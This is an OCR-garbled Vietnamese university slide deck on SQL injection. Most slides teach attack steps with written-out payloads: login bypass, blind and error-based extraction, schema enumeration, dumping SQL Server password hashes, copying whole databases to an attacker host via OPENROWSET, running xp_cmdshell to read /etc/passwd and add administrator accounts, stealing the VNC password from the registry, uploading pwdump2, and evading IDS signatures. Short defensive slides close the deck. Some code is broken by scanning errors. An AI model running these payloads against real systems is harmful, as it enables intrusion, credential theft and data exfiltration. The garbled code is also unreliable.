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¥ What is SQL?

g
]

| SQL, viét tat cua Structured Query Language
(ngdn ngir hoi cd cau truc).

Cong cu sur dung dé to chirc, quan ly va truy
xuat dif lieu dugc luu trir trong cac co sG dir
lieu.
SQL c6 thé:
Thuc hién cac truy van doi vaéi ca s dir liéu.
Lay d{ liéu tu cg so dif liéu.
Chén table méi trong mét ca sé dir liéu.
X0a thong tin trong ca sd dir liéu.
Cap nhat cac table trong ca sG dir liéu.

VYV VYV VYV



- SQL

e C6 rat nhiéu phién ban khac nhau cula
ngon ng* SQL : Oracle, MSSQL,
MySQL...

.+ Chung ho trg cling cac ngdn ngtr thao tac

~ di liéu nhw (SELECT, UPDATE,

DELETE, INSERT, WHERE...).




SQL Database Tables

* M6t co s& di liéu bao gom nhiéu table va
mOi table dwoc xac dinh duy nhat boi tén
table.

Table gdbm mot tap row va column: moi mot row

\ " trong table biéu dién cho mét thuyc thé.

Vi du:
N
David Bryan davidbryan 123456
2 Thomas Brave thomasbra Thomas

3 Tom Jerry tomjerry jerry



' SQL Queries

- V&i SQL, chlng ta c6 thé truy van CSDL va
co mot két qua tra ve.
« St dung lai table trwdc, truy van sé thé nay:

SELECT LastName
FROM users
WHERE UserID = 1;

« Két qua: LastName

\

Bryan
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' SQL INJECTION LA Gi ?

SQL injection la mét ki thuat cho phép nhirng
ké tan cong loi dung 16 hdng trong viéc kiém
tra dir lieu nhap trong cac wrng dung web va

- cac théng bao 16i cta hé quan tri co s& dir

- |iéu dé Inject va thi hanh cac cau lénh SQL
bat hop phéap.



' N6 PHO BIEN THE NAO?

 Ngay nay c6 nhiéu website dé bj tan cong.

» Day 1216 hong trong phat trién (rng dung
web, nd khdng phai 16i cua DB hay cua web
server.

.+ Hau hét céc lap trinh vién van chwa nhan
thire dwoc van dé nay.

» Rat nhiéu giai phap da dwoc dua lén mang
nhwng van khong du tot.
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¢ LO hong cua trng dung
. .

- Hau nhuw tat ca cac database SQL va ngon

nglr 1ap trinh déu c6 kha nang dé bij tan cong.

» MS SQL Server, Oracle, MySQL, Postgres, DB2, MS Access, Sybase,
Informix, etc

Truy cap thong qua &ng dung s& dung:
» Perl and CGlI scripts that access databases
» ASP, JSP, PHP
» XML, XSL and XSQL
» Javascript
» VB, MFC, and other ODBC-based tools and APIs
» DB specific Web-based applications and API’s
» Reports and DB Applications
» 3 and 4GL-based languages (C, OCI, Pro*C, and COBOL)
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- SQL Injection hoat dong thé nao?

Tan cong & dang dang nhap
SELECT * FROM users
WHERE login = "victor'

AND password = '123¢

e CU phap dang nhap ASP / MS SQL Server
var sgl = "SELECT * FROM users

WHERE login =" + formusr +

" AND password =" + formpwd + "'";
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Tan cong thong qua chuoi

formusr="'or 1=1 — —
formpwd = anything

~ Truy van cudi cung sé nhw sau:
~ SELECT * FROM users
WHERE username =""or 1=1

— — AND password = 'anything'
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¢ Tinh nang cua
Poéng cac tham sé chudi
Tat ca sau ‘ déu duogc xem la mot phan [énh SQL.

String fields rat thong dung nhung cé mot so kiéu
khac cua fields.

— Numeric

— Dates
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' Néu né la kieu div liéu numberic

SELECT * FROM clients
WHERE account = 12345678

AND pin = 1111

PHP/MySQL login syntax
$sgl = "SELECT * FROM clients WHERE " .

"account = $formacct AND " .
"pin = $formpin”;
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Tan cong vao numberic

$formacct =1 or 1=1 #
$formpin = 1111

Truy van cuoi clng:
SELECT * FROM clients
WHERE account =1 or 1=1
# AND pin = 1111
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- Nhirng ky tw cua SQL Injection

‘or” character String Indicators
--or # single-line comment
[*...*[ multiple-line comment

+ addition, concatenate (or space in url)
\. | (double pipe) concatenate
% wildcard attribute indicator

?Paraml=foo&Param2=bar URL Parameters
PRINT useful as non transactional command
@variable local variable

@@variable global variable

waitfor delay '0:0:10' time delay
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¢ Content

1/ Input Validation
2/ Information gathering
/ 1=1 Attacks
\/ Extracting Data
/ OS Interaction
/ OS Cmd Prompt
/ Expand Influence



SQL Injection Phwong phap Thw
nghiém

1) Input Validation

v

2) Info. Gathering

4) Extracting Data 6) OS Cmd Prompt

7) Expand Influence
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1) Input Validation

| 1) Input Validation |

L Z

Ty

3) 1=1 Attacks '5) OS Interaction

......................

4) Extracting Data 6) OS Cmd Prompt

7) Expand Influence
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|

\.

Phat hién 16 héng

L& hong cd thé & bat clr noi nao, SQL
Injection co6 thé xay ra trong bat ky diéu sau
day:

— Cac Fields trong Web Form

— Script tham s6 trong chudi truy van URL
— Cac gia tri dwoc lwu trilr trong cac cookie hodc Fields an.

Bang “Fuzzing”:
— Chubikitw:'")# || +>
— SQL reserved words with white space delimiters

* %09select (tab%09, carriage return%13, linefeed%10 and
space%32 with and, or, update, insert, exec, etc)

— Truy van tri hoan (Delay query) ' waitfor delay '0:0:10'--
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2) Information gathering

1) Input Validation

A 4

| 2) Info. Gathering |

 Ammmmmmmmm—

3) 1=1 Attacks 5) OS Interaction

4) Extracting Data

6) OS Cmd Prompt

7) Expand Influence
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' 2) Information gathering

Co ché dau ra.

Hiéu dwoc nhirng truy van.

Xac dinh loai hinh co s& di liéu.

Tim ra cap dd dac quyén clia nguwodi st
dung.

X&c dinh mdrc do twong tac hé diéu hanh.

24



a) Co ché dau ra

 SU dung két qua truy van trong U'ng dung
web.

* Error Messages
» Blind SQL Injection

> SuU dung time delays hay error signatures dé xac dinh
trich xuat thong tin.

» Chung ta cé thé thuc hién nhiéu diéu nhung phucng phap
blind Injection cham va kho khan.

« Cac co che
> e-mail, SMB, FTP, TFTP
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Léi trich xuat thong tin thong
gua tin nhan (Error messages)

Grouping Error
> 'group by columnnames having 1=1 - -

Type Mismatch hay overflow errors
— 'union select 1,1, text,1,1,1 - -
— 'union select 7,1, bigint,1,1,1 - -
« Where text’ or bigint are being united into an /nt column
— In DBs that allow subqueries, a better way is:
« "and 1 in (select 7ext’) - -

— Trong mot sO trerng hdp ta can phai CAST hay CONVERT dir liéu
cla chlng ta dé tao ra cac thdng bdo 16i.
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- Blind Injection

Su dung két qua da biét.

X 'and condition and '1'="1

S dung diéu kién fif.

— " if condition waitfor delay '0:0:5" --

— " union select if( condition , benchmark (100000, shal('test")),
'false’),1,1,1,1;

- Ngoai ra, chling ta c6 st dung tét ca céc ki€u truy van
nhung phai la cac thong tin khong co 0.
Ta sé nhan dugc cau tra I0i Yes/No.

— Trich xudt thong tin & dang van ban bdng cach chuyén d6i thanh ma
ASCII va sau do chuyén tu ASCII sang nhi phan va sau do chung ta
sé nhan dugc 1 bit.

— Rat ton thai gian nhung kha thi véi cong cu tu dong nhu’ SQueal
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! b) Nhirng truy van

\

 Truy van cé thé la:
— SELECT
— UPDATE
— EXEC
— INSERT
— Hodc cai gi do phlc tap hon.
- Context helps
— Form hay Page nao chung ta muon truy van vai dit li€éu dau
vao cua chung ta?
— Tén cua field, cookie hay tham so la gi?
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" SELECT Statement

 Hau hét cac Injections sé dugc dat & gilra
lénh SELECT.

« Trong ménh dé SELECT, hau hét chung ta
déu két thic bang WHERE:

— SELECT *
- FROM table

« WHERE x = ‘normalinput’ group by x having 1=1 --

« GROUP BY x
« HAVING x =y
 ORDER BY x
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UPDATE statement

» Trong phan thay doi password clia app
chung ta co thé c6 nhirng diéu sau:
— UPDATE users

SET password = ' new password'
WHERE login = /logged.user
AND password = old password’
— Néu inject vao new password va fix trong
phan con lai, ban s& thay doi moi mat khau
trong table.
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- Xac dinh SELECT Query Structure

1. Tai tao 16i chuyén hudng (error free
navigation).

Cé thé don gian nhu: "and '1’' = '1

| Hoac 'and '1' = '2

. 2. Tao ra cac l6i cu thé.

Xac dinh tén cua table and column
' group by columnnames having 1=1 --

Do we need parenthesis? Is it a subquery?
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Is it a stored procedure?

* Chung toi st dung cac Injections khac nhau
dé xac dinh nhirng diéu c6 thé hodc khong
thé lam.

— ,@variable

— ?Paraml1=foo&Param2=bar
— PRINT

— PRINT @@variable
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Tricky Queries

» Khi ta dang & trong mot phan cua subquery hay Iénh

. khgi dau hoac Iénh két thic.

. — Ta s@ cn s dung cac thdng s6 dé thodt ra.

— M6t sb chirc ndng khdng co san trong subqueries (vi du: group by,
having and further subqueries)

— Trong mot so truéng hop ta sé can thém vao END.

- Khi st dung mot so6 truy van dau vao.

— Ta nén két thuc viéc tao ra cac I§i khac nhau trong nhirng truy van
khac nhau, no sé gay ra nham lan.

Loi phat sinh trong truy van cé thé lam gian doan

hoac cé thé lam ngu'ng hang loat cac truy van cua ta.

Mot sO truy van are simply not escapable!
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c) Xac dinh loai hinh co so dir

2 lieu

'+ Hau hét cac [an thong bao 16i sé cho ta
biet ta dang lam viec vai loai hinh
CSDL nao.
— LOi ODBC sé hién thi loai hinh cd sé dif liéu nhu

mot phan cua thong tin dieu khién.
- Néu ta khong c6 thong bao 16i ODBC:

— We make an educated guess based on the
Operating System and Web Server

— Hodc ta str dung nhitng ky tu' cu thé cua DB,
lenh hoac store procedures, no se tao ra cac
thong bao loi khac nhau
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Mot so khéac biét

MS SQL Oracle Postgres
T-soL MySQL Access PL/SQL DB2 PL/paSQL
Concatenate NERE concat "] wuonmn IR nmnw,nn IR
Strings + ", n n) & | | + | |
Null
Iff(Isnull COALESCE
replace Isnull() Ifnull() (Isnull()) | Ifnull() | Ifnull() 0
Position | CHARINDEX | LOCATE() InStr() InStr() InStr() TEXTPOS()
Op S select into import
ODSYS| ) cmdshell | outfile/ | #date# | utf file from Call
interaction dumpfile export to
Cast Yes No No No Yes Yes
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" Nhirng khac biét khac...

MS SQL | MySQL | Access | Oracle | DB2 | Postgres
UNION Y Y Y Y Y Y
N 4.0

Subselects Y N N Y Y Y
Batch Queries Y N* N N N Y
Default stored Many N N Many N N

procedures
Linking DBs Y Y N Y Y N




| d) Tim ra cap do dac quyén cua
ngwoi str dung

Cé mét vai SQL99 duwoc xay dwng trong cac
ham vo hwédng, né sé lam viéc trong hau het

trong cac trién khai SQL.

— user or current_user

. — session_user

— system user
and 1 in (select user) --
' if user ='dbo’ waitfor delay '0:0:5 '--

"union select if( user() like 'root@%’,
benchmark(50000,shal('test')), 'false' );
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' DB Administrators

* Default administrator accounts bao gém:

— sa, system, sys, dba, admin, root and many others

* In MS SQL they map into dbo:

— The dbo is a user that has implied permissions to perform all
activities in the database.

— Any member of the sysadmin fixed server role who uses a database
is mapped to the special user inside each database called dbo.

— Also, any object created by any member of the sysadmin fixed server
role belongs to dbo automatically.
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3) 1=1 Attacks

1) Input Validation

v

2) Info. Gathering |

5) OS Interaction
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Kham pha cau tric DB

Xac dinh tén cua table va column.
" group by columnnames having 1=1 --
Xac dinh tén kiéu cua column.

* " union select sum(columnname ) from
. lablename =-
Liét ké table user da dugc dinh nghia.

"and 1 in (select min(name) from sysobjects
where xtype = 'U' and name > '.") --
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' Liét ké table columns trong DB khac

MS SQL

— SELECT name FROM syscolumns WHERE id = (SELECT id FROM
sysobjects WHERE name = ‘tablename")

— sp_columns tablename (this stored procedure can be used instead)
MySQL

— show columns from tablename

Oracle

— SELECT * FROM all_tab_columns
WHERE table_name='tablename'

DB2

— SELECT * FROM syscat.columns
WHERE tabname= 'tablename'

Postgres

— SELECT attnum,attname from Pg_class, pg_attribute
WHERE relname= 'tablename
AND pg_class.oid=attrelid AND atthum > 0

\
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Tat ca table va column trong

mot truy van.

'union select 0, sysobjects.name + ": ' +
syscolumns.name + ": ' + systypes.name, 1, 1,
'1,1,1,1,1, 1 from sysobjects, syscolumns,
systypes where sysobjects.xtype = 'U' AND
sysobjects.id = syscolumns.id AND
syscolumns.xtype = systypes.xtype --
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. Database Enumeration

Trong MS SQL Server, cac co so di liéu co
thé duwoc truy van voi master .. Sysdatabases

— CSDL khac trong Server

 "and 1 in (select min(name ) from
master.dbo.sysdatabases where name >'." ) --

— Vi tri File cua CSDL

 "and 1 in (select min(filename ) from
master.dbo.sysdatabases where filename >'." ) --

\
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System Tables

Oracle . MS Access
- ng.USER_OBJECTS _ MsysACESs
— SYS.TAB .
— SYS.USER_TEBLES — MsysObjects
— SYS.USER_VIEWS — MsysQueries
— SYS.ALL_TABLES — MsysRelationships
— SYS.USER_TAB_COLUMNS
SYS.USER_CATALOG . MS SQL Server
MySQL — sysobjects
— mysql.user — syscolumns
— mysql.host — systypes

— mysql.db — sysdatabases

44




4) Extracting Data

1) Input Validation

v

|2) Info. Gathering |

Yy

|3) 1=1 Attacks | 5) OS Interaction
4) Extracting Data 6) ()S Cmd Prompt
..... . immm
7) Expand Influence
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. Password grabbing

Grabbing username and passwords from a

User Defined table

— " begin declare @var varchar(8000)
set @var=":' select @var=@var+"
'+login+'/'+password+'
from users where login>@var
select @var as var into temp end --

—"and 1 in (select var from temp) --
— ' ; drop table temp --

\

46



Create DB Accounts

S SQL
— exec sp_addlogin 'victor', 'Pass123'
— exec sp_addsrvrolemember 'victor', 'sysadmin’
ySQL
— INSERT INTO mysql.user (user, host, password) VALUES ('victor', 'localhost’,
PASSWORD('Pass123"))

ccess

— CREATE USER victor IDENTIFIED BY 'Pass123'
Postgres (requires UNIX account)

— CREATE USER victor WITH PASSWORD 'Pass123'

racle

— CREATE USER victor IDENTIFIED BY Pass123
TEMPORARY TABLESPACE temp
DEFAULT TABLESPACE users;

— GRANT CONNECT TO victor;
— GRANT RESOURCE TO victor;

47



Grabbing MS SQL Server
Hashes

- Truy van don gian nhu sau:
— SELECT name, password FROM sysxlogins

- Nhung, hashes la kiéu varbinary.

— P& hién thj chiing mot cach chinh xac thdng qua error message
ta can phai Hex chung.

— Va sau do concatenate all

— Ta chi cé thé phu hgp véi 70 cdp name/password & kiéu
varchar

— Ta c6 thé thay 1 cdp hoan thanh.

- Password field yéu cau truy cap dbo.

— V4i nhitng déc quyén thap han ta van cd thé khoi phuc lai
usernames va brute force the password
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What do we do?

~ + The hashes are extracted using
— SELECT password FROM master..sysxlogins
-+ We then hex each hash

begin @charvalue='0x'
@lengt datalength(@blnvalue),

@hexstring = '0123456789ABCDEF'
while (@i<=@length) BEGIN
declare @tempint int, @firstint int, @secondint int

select

@tempint=CONVERT (int, SUBSTRING(@binvalue, @i,1))
select firstint=FLOOR(@tempint/16

select secondlnt— tempint - (@firstint*16)

se ect charvalue=@charvalue + SUBSTRING

%) exstrln? (cIi)ﬁrstlnt+1 ,1) + SUBSTRING (@hexstring,
secondinf+

select @i=@i+1 END
« And then we just cycle through all passwords




Extracting SQL Hashes

* Day la mot |énh dai:

~ " begin declare @var varchar(8000), @xdatel datetime, @binvalue
varbinary(255), @charvalue varchar(255), @i int, @length int,
@hexstring char(16) set @var=":"' select @xdatel=(select min(xdatel)
. from master.dbo.sysxlogins where password is not null) begin while
@xdatel <= (select max(xdatel) from master.dbo.sysxlogins where
password is not null) be%]in select @binvalue=(select password from
master.dbo.sysxlogins where xdatel=@xdatel), @charvalue = '0x’,
@i=1, @length=datalength(@binvalue), @hexstring =
'0123456789ABCDEF' while (@i<=@Ilength) begin declare @tempint
- int, @firstint int, @secondint int select @tempint=CONVERT(int,
SUBSTRING(@binvalue,@i,1)) select @firstint=FLOOR(@tempint/16)
select @secondint=@tempint - (@firstint*16) select
@charvalue=@charvalue + SUBSTRING (@hexstring, @firstint+1,1) +
SUBSTRING (@hexstring, @secondint+1, 1) select @i=@i+1 end select
@var=@var+' | '+name+'/'+@charvalue from master.dbo.sysxlogins
where xdatel=@xdatel select @xdatel = (select
isnull(min(xdatel),getdate()) from master..sysxlogins where
xdatel>@xdatel and password is not null) end select @var as x into
temp end end --
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Thu thap hashes thong qua
error messages

 'and 1 in (select x from temp) --

 'and 1 in (select substring (x, 256, 256) from
temp) --

 'and 1 in (select substring (x, 512, 256) from
temp) --

e etc...
e 'drop table temp --
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Brute forcing Passwords

- Passwords co thé bi brute forced bang cach st
ﬂunﬂ sever da bi tan cong dé tiép tuc tién
an

« SQL Crack Script

— create table tempdb..passwords( pwd varchar(255) )
— bulk insert tempdb..passwords from 'c:\temp\passwords.txt'

— select name, pwd from tempdb..passwords inner join
sxlogins on (pwdcompare( fpwd sysxlogins.password, 0 ) =
g union select name, name from sysxlogins where
(pwdcompare( name, sysxlogins.password, 0 ) = 1) union
select sysxlogins.name, null from sysxloglns join syslogins on
sysxlogins.si sysloglns sid where sysxlogins.password is null
and syslogins.isntgroup=0 and syslogins.isntuser=0

— drop table tempdb..passwords
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@ Transfer DB structure and data

~ + Sau khi két ndi mang da dugc kiém tra.

- SQL Server cd thé bi lién két lai vGi DB
cua attacker bang cach sur dung
OPENROWSET

DB Structure bi nhan rong.
» Data bj chuyén di.

» Diéu do6 cb thé dugc thuc hién bang cach
két ndi vai remote port 80!
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' Create Identical DB Structure

insert into
OPENROWSET('SQLoledb’,
'uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=my!IP,80;/,
'select * from mydatabase..hacked sysdatabases')
select * from master.dbo.sysdatabases --

Insert into
OPENROWSET('SQLoledb’,
'uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=my!IP,80;',
'select * from mydatabase..hacked sysdatabases')
select * from user database.dbo.sysobjects --

insert into
OPENROWSET('SQLoledb’,
'uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=my!|P,80;’,
'select * from mydatabase..hacked syscolumns')
select * from user database.dbo.syscolumns --

\
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Transfer DB

insert into
OPENROWSET('SQLoledb’,
'uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=my!|P,80;

)

'select * from mydatabase..tablel')

select * from database..tablel --

‘insert into

OPENROWSET('SQLoledb’,
'uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=my!|P,80;

’

'select * from mydatabase..table2')
select * from database..table2 --
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5) OS Interaction

1) Input Validation

v

|2) Info. Gathering |

|3) 1=1 Attacks |

4) Extracting Data 6) OS Cmd Prompt
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Interacting with the OS

» Cb 2 cach dé tuang tac vdi OS:
1. Reading and writing system files from disk
Tim ki€ém passwords va cau hinh files

Thay d6i passwords and cau hinh

Thuc thi commands bang cach ghi de Ién cac cau
hinh files va files khai tao.

2. Thutc thi truc ti€p command
Ta c6 thé lam moi th(r.

» Ca hai déu bi giGi han bdi cac dac quyén
cla cd s@ dif liéu dang chay va su cho

phep.
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" MySQL OS Interaction

« MySQL
— LOAD_FILE
' union select 1,load_file('/etc/passwd'),1,1,1;
— LOAD DATA INFILE

« create table temp( line blob );
* load data infile '/etc/passwd' into table temp;
« select * from temp;

— SELECT INTO OUTFILE
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¢ MS SQL OS Interaction

« MS SQL Server
— '+ exec master..xp_cmdshell 'ipconfig > test.txt' --

— '; CREATE TABLE tmp (txt varchar(8000)); BULK
INSERT tmp FROM 'test.txt' --

— " begin declare @data varchar(8000) ; set @data='| ';
select @data=@data+txt+' | ' from tmp where
txt<@data ; select @data as x into temp end --

— "and 1 in (select substring(x,1,256) from temp) --

— '; declare @var sysname; set @var = 'del test.txt’;
EXEC master..xp_cmdshell @var; drop table temp;
drop table tmp --

59



- Kién truc

Pé ghi nhd.

Injection cua chung ta hau hét sé dugc thuc
thi tren nhung server khac nhau.

DB server co thé khong co quyén truy cap

\ Internet.
|

Web Server Application Server Database Server

» >l » l
< <
Web Input Injected SQL
Page Validation Execution!

Access Flaw &



/ Assessing Network Connectivity

« Tén va cau hinh cua Server.

— 'and 1 in (select @@servername) --
— "and 1 in (select srvname from master..sysservers ) --

| — NetBIOS, ARP, Local Open Ports, Trace route?
\ - Nhirng két noi ngucc.

— nslookup, ping
— ftp, tftp, smb

- Ta phai kiém tra firewall va proxies.
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Thu thap thong tin IP thong qua tra
| CLPU NguUQc
* Reverse DNS

— ', exec master..xp_cmdshell 'nslookup a.com
MyIP' --
* Reverse Pings
— '; exec master..xp_cmdshell 'ping MyIP" --

* OPENROWSET

— ' select * from OPENROWSET( 'SQLoledb’,
'uid=sa; pwd=Pass123; Network=DBMSSOCN;
Address=MyIP,80;/,

'select * from table')
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Network Reconnaissance

 SU dung xp_cmdshell tat ca sé dugc thuc
thi nhu sau:
— Ipconfig /all
— Tracert mylIP
—arp -a
— nbtstat -c
— netstat -ano
— route print
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Network Reconnaissance Full
4 Query

e s declare @var varchar(256); set @var = ' del test.txt
L && arp -a >> test.txt && ipconfig /all >> test.txt &&

. nbtstat -c >> test.txt && netstat -ano >> test.txt &&
route print >> test.txt && tracert -w 10 -h 10

g@c)mgle.com >> test.txt'; EXEC master..xp_cmdshell
var --

', CREATE TABLE tmp (txt varchar(8000)); BULK
INSERT tmp FROM 'test.txt' --

'» begin declare @data varchar(8000) ; set @data=":"
; select @data=@data+txt+' | ' from tmp where
txt<@data ; select @data as x into temp end --

"and 1 in (select substring(x,1,255) from temp) --

'» declare @var sysname; set @var = 'del test.txt’;
EXEC master..xp_cmdshell @var; drop table temp;
drop table tmp -- ‘
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F Jumping to the OS

* Linux based MySQL
— "union select 1, (load_file('/etc/passwd')),1,1,1;
e MS SQL Windows Password Creation

— " exec xp_cmdshell 'net user /add victor
Pass123'--

— ', exec xp_cmdshell 'net localgroup /add
administrators victor' --

* Starting Services

— '; exec master..xp_servicecontrol 'start’,'FTP
Publishing' --
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\

St dung Script ActiveX Tw dong
hoa
Speech example

— " declare @o int, @var int
exec sp_oacreate 'speech.voicetext', @o out
exec sp_oamethod @o, 'register', NULL, 'x', 'x'
exec sp_oasetproperty @o, 'speed’, 150
exec sp_oamethod @o, 'speak’, NULL, 'warning,
your sequel server has been hacked!’, 1

waitfor delay '00:00:03' --
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' Lay mat khau VNC tir Registry

'» declare @out binary(8)

exec master..xp_regread
@rootkey='"HKEY LOCAL MACHINE'
@key='SOFTWARE\ORL\WinVNC3\Default',
@value_name='Password,

@value = @out output

select cast(@out as bigint) as x into TEMP--

"and 1 in (select cast(x as varchar) from temp) --

\.

68



/) Expand Influence
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' Nhay vao DB Servers khac

* « Tim kiém cdc server lién két trong

MSSQL.
— select * from sysservers

 SU dung Iénh nhay OPENROWSET dé
nhifng server dé c6 thé dé dang dat
dugc.

 Cung mot cach ma ta da su dung truGc
do vdi viec s’ dung OPENROWSET doi
vGOi két noi ngugc.
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' Linked Servers

insert into
OPENROWSET('SQLoledb',
'uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;',
'select * from mydatabase..hacked_sysservers')
select * from master.dbo.sysservers

insert into
OPENROWSET('SQLoledb',
'uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;',
'select * from mydatabase..hacked_linked_sysservers')
select * from LinkedServer.master.dbo.sysservers

insert into
OPENROWSET('SQLoledb',
'uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;',
'select * from mydatabase..hacked_linked_sysdatabases')
select * from LinkedServer.master.dbo.sysdatabases
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huc hién thong qua cac stored
rocedure twr Xa

Néu may chu tir xa dwoc cau hinh chi cho stored procedure
thwe hién, dieu thay doi dwoc thwc hién nhu sau:

sert into

OPENROWSET('SQLoledb!,

'uid=sa; pwd=Pass123; Network=DBMSSOCN; Address=myIP,80;', 'select *
from mydatabase..hacked_sysservers')

exec Linked Server.master.dbo.sp executesql N'select * from
master.dbo.sysservers'

sert into
OPENROWSET('SQLoledb’,

'uid=sa; pwd=Pass123; Network=DBMSSOCN; Address=myIP,80;', 'select *
from mydatabase..hacked sysdatabases')

exec Linked Server.master.dbo.sp executesql N'select * from
master.dbo.sysdatabases'
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- Uploading files thong qua
reverse connection

'. create table AttackerTable (data text) --

. bulk Insert AttackerTable --

from ‘pwdump2.exe’ with (codepage='RAW')

', exec master..xp_regwrite

- 'HKEY_LOCAL_ MACHINE','SOFTWARE\Micro

- Soft\tMSSQLServer\Client\ConnectTo',’
MySrvAlias','/REG_SZ','DBMSSOCN, MyIP, 80' -

', exec xp_cmdshell 'bcp "select * from
AttackerTable" queryout pwdump?2.exe -c¢ -Craw
-SMySrvAlias -Uvictor -PPass123' --
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2 Uploading files thong qua SQL
. Injection
~ « Néu database server khong c6 két noi
Internet, file van co6 thé dwoc tai lén

« Qua trinh twong tw nhwng cac file phai
dwoc hexed va dwoc gui nhuw la moét
phan ctia mét chudi truy van.

 Cac File phai dwoc chia thanh tirng phan
nho (4.000 byte trén moi phan).
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Vi du SQL injection file
4 uploading
,. The whole set of queries is lengthy

DAu tién ta can phai Inject stored procedure dé
convert hex thanh binary tu xa.

Sau dé ta can phai Inject the binary as hex in 4000
byte chunks

— 'declare @hex varchar(8000), @bin varchar(8000) select
@hex = '4d5a900003000...

< 8000 hex chars =...0000000000000000000"' exec

master..sp_hex2bin @hex, @bin output ; insert
master..pwdump?2 select @bin --

Cudi cung ta concatenate the binaries and dump the
file to disk.

\

75



" University OF Seienes = DH Khea Hee T Nhign = Khea ENTT

KY THUAT TRON (EVASION
TECHNIQUES)

Nguyén Ngoc Diing — Nguyén Thanh Truyén — Nguyén Duy Thanh




/ Content
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/ Evasion Techniques

+ Panh lua su’ xac nhan dau vao va nhirng ky
| thut IDS Evasion ciing tuong tu.

Su phat hién dua trén Snort cua SQL
\ Injection mét phan la c6 thé nhung tra IO
dua tren "signatures".

Signatures cd thé bj ddu dé dang.

Xac nhan dau vao, IDS detection va strong

database va OS hardening phai dugc sur
dung cung nhau.



'O
'O
'O
\

'O
'O
'O
'O

- IDS Signature Evasion

vading ' OR 1=1 signature

R "'unusual' = 'unusual’

R 'something' = 'some'+'thing'
R 'text’ = N'text'

R 'something’ like 'some%'
R2>1

R 'text' > 't

R 'Whatever' IN (‘whatever')

R 2 BETWEEN 1 AND 3
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y Xac nhan dau vao(Input

¥, validation)

4+ MOt sO6 ngudi st dung ham addslashes()
trong PHP dé gidi phong cac ki tu.

— single quote (')

— double quote (")

— backslash (\)

— NUL (the NULL byte)

Piéu nay co thé diu di dé dang béng cach
su’ dung su thay thé cho mot so ki tu' trudc
do trong numeric field.
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' Evasion and Circumvention

s

s

» IDS and xac nhan dau vao pha v& bang
cach ma hoa
« MOt s6 cach ma hoda cac thong so.

RL encoding
nicode/UTF-8
ex enconding

=1C

nar() function
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MySQL Input Validation
Circumvention using Char()

- Inject without quotes (string = "%"):
— " or username like char(37);
. Inject without quotes (string = "root"):

' union select * from users where login =
char(114,111,111,116);

. Load files in unions (string = "/etc/passwd"):

' union select 1,
(Ioad flle(char(47 101,116,99,47,112,97,115,115,119,1

0o,1,1,1;
« Check for eX|sting files (string = "n.ext"):

— "and 1=( if(
(load_file(char(110,46,101,120,116))<>char(39,39)),1,

0));
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( IDS Signature Evasion using
. white spaces

- UNION SELECT signature is different to

« UNION SELECT

« Tab, carriage return, linefeed or several white
spaces co thé dugc su dung.
» Dropping spaces might work even better
—'OR'1'="1" (with no spaces) dién giai mot
cach chinh xac b&i mot s6 cac co s& dir liéu
SQL than thién.

\.
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IDS Signature Evasion using

. comments

« MOt s0 IDS ko bi danh Itra bang white
spaces

« SU dung comments la su’ thay thé tuyét voi.

— /* ... */ is used in SQL99 to delimit multirow
comments

— UNION/**/SELECT/**/

— Diéu nay cling cho phép lay lan injection thong
qua multiple fields

« USERNAME: 'or 1/*
« PASSWORD: */ =1 --
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( IDS Signature Evasion using
. string concatenation

» Trong MySQL diéu nay la co thé dé tach
nhirng huéng dan véi comments.
— UNI/**/ON SEL/**/ECT

» Hodc ta co thé concatenate text va su
dung hudng dan cu thé dé thuc thi.

— Oracle

' EXECUTE IMMEDIATE 'SEL' || 'ECT US' || 'ER!

_MS SQL
" EXEC ('SEL' + 'ECT US' + 'ER")
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IDS and Input Validation
' Evasion using variables

Tuy nhién, ki thuat evasion cho phép dinh nghia cac
bién.
— ; declare @x nvarchar(80); set @x = N'SEL' + N'ECT US' +
N'ER');
— EXEC (@X)
- — EXEC SP_EXECUTESQL @x
Hay cé thé su dung hex value

— ; declare @x varchar(80); set @x =
0x73656c65637420404076657273696f6e; EXEC (@Xx)

— This statement uses no single quotes (')
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Nhw vay, co thé thay 16i SQL injection khai thac
nhi*ng bat can cla cac |ap trinh vién phat trién

. (rng dung web khi x( |i cac div liéu nhap vao dé

- xay dwng cau lénh SQL.

| Tac hai tir 16i SQL injection tlly thudc vao mdi trwérng
va cach cau hinh hé thdng.

Néu ing dung s& dung dbo khi thao tac dit liéu, né cé
. thé xda toan b cac bang dit liéu, tao cac bang dir liéu
mai.

N&u (rng dung s dung quyén sa nd co thé diéu
khién toan bd hé quan tri database => diéu khién
hé thdng cuia ban
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. Content

Kiém soat chat ché dir liéu nhap vao.
Thiet Iap cau hinh an toan cho hé quan tri
co so dir liéu.
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Kiém soét chat ché dir liéu nhap

L vao
~ « Kiém soat chat ché tat ca cac dir liéu nhap

nhan dugc tu’ doi tugng Request.

» Trong trudng hgp dir lieu nhap vao la s6
ki€m tra dif liéu cé ding ki€u hay khong
bang ham IsNumeric().

» CO thé gidi han chiéu dai ctiachudi nhap
lieu, hoac xay dung ham EscapeQuotes dé
thay thé cac dau nhay don bang 2 dau nhdy
don.
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Thiet 1ap cau hinh an toan cho hé

2 quan tri co so dir licu

'8 Can c6 co ché kiém soat chat ché va gioi han
quyén x li di¥ liéu dén tai khoan ngu¢i dung.
Céc (rng dung thong thwong nén tranh ding dén
cac quyén nhuw dbo hay sa.

\ Loai bo bat ki thong tin ki thuat nao chira trong
thong diep chuyen xuong cho ngwoi dung khi tng
dung co I0i

Cac thong bao 16i thdng thwong tiét 16 cac chi tiét ki
thuat c6 thé cho phép ké tan cong biét duoc diem
yéu ctia hé thong.

91






